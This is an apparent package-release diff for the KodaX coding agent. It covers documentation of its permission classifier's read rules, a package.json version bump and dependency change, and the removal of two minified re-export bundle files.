+ budget. An oversized action or prompt escalates without a provider call; it is
4832
+ never truncated into an automatic allow. These limits are owned by
4833
+ `classify()` itself, so custom callers cannot accidentally bypass the
4834
+ session-history boundary.
4835
+
4836
+ Deterministic read admission keeps ordinary project directories, structured
4837
+ `grep`/`glob`, ripgrep/GNU-grep filters, and other bounded search selectors on
4838
+ the read fast path. A wildcard remains unresolved only when it can reach a
4839
+ protected credential area or its path boundary cannot be established.
4840
+ Explicit PowerShell `-LiteralPath` remains literal. Indirect file lists,
4841
+ dynamic Git pathspecs, and expanded `git grep --no-index`/`--untracked` scopes
4842
+ remain LLM-reviewed when their targets cannot be bounded safely. Git
4843
+ line-log `-L` paths, patch-enabling short-option clusters, and merge-diff modes
4840
4844
  are resolved before deciding whether output is scoped. Exact-file reads and
4841
4845
  metadata-only output such as `git show --stat` remain deterministic. Exclusion
4842
4846
  selectors do not become input targets. On Windows, protected-name checks also
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kodax-ai/kodax",
3
- "version": "0.7.79",
3
+ "version": "0.7.80",
4
4
  "description": "KodaX lightweight coding agent - TypeScript implementation with 16 built-in LLM provider aliases, published as a Node-free single-file CLI and SDK",
5
5
  "type": "module",
6
6
  "private": false,
@@ -8,7 +8,8 @@
8
8
  "access": "public"
9
9
  },
10
10
  "kodaxRuntimeContracts": {
11
- "integrationConfigResilience": 1
11
+ "integrationConfigResilience": 1,
12
+ "managedRunDurability": 1
12
13
  },
13
14
  "workspaces": [
14
15
  "packages/*"
@@ -145,7 +146,6 @@
145
146
  "ink-text-input": "^6.0.0",
146
147
  "is-in-ci": "^2.0.0",
147
148
  "jimp": "^1.6.0",
148
- "js-tiktoken": "^1.0.12",
149
149
  "oauth4webapi": "3.8.6",
150
150
  "openai": "^6.32.0",
151
151
  "partial-json": "^0.1.7",
@@ -1,2 +0,0 @@
1
- // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
- import{Ja as g,La as h,Ya as i,a as c,cb as j,ra as d,sa as e,ta as f}from"./chunk-B6UY3VHV.js";import"./chunk-67THZRM6.js";import"./chunk-TSTVAU5E.js";import"./chunk-OWQT3FTE.js";import"./chunk-SG6P4SZS.js";import{ub as a,vb as b}from"./chunk-RQPMGRTR.js";import"./chunk-GEECPO2H.js";import"./chunk-M4N2JZTZ.js";import"./chunk-H5LLM7DB.js";import"./chunk-ONUPGMER.js";export{e as bucketProviderPayloadSize,g as buildAutoRepoIntelligenceContext,f as checkPromiseSignal,b as cleanupIncompleteToolCalls,h as describeTransientProviderRetry,c as emitResilienceDebug,d as estimateProviderPayloadBytes,j as runKodaX,i as saveSessionSnapshot,a as validateAndFixToolHistory};
@@ -1,2 +0,0 @@
1
- // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
- import{$a as a,ab as b}from"./chunk-ZCZZUE5E.js";import"./chunk-EDZ4QILG.js";import"./chunk-BBOVVDQJ.js";import"./chunk-KLWP7POA.js";import"./chunk-B6UY3VHV.js";import"./chunk-CXHEZY5G.js";import"./chunk-67THZRM6.js";import"./chunk-QCZLCLFL.js";import"./chunk-TSTVAU5E.js";import"./chunk-OWQT3FTE.js";import"./chunk-SG6P4SZS.js";import"./chunk-RQPMGRTR.js";import"./chunk-GEECPO2H.js";import"./chunk-M4N2JZTZ.js";import"./chunk-H5LLM7DB.js";import"./chunk-ONUPGMER.js";export{a as ArgumentCompleter,b as createArgumentCompleter};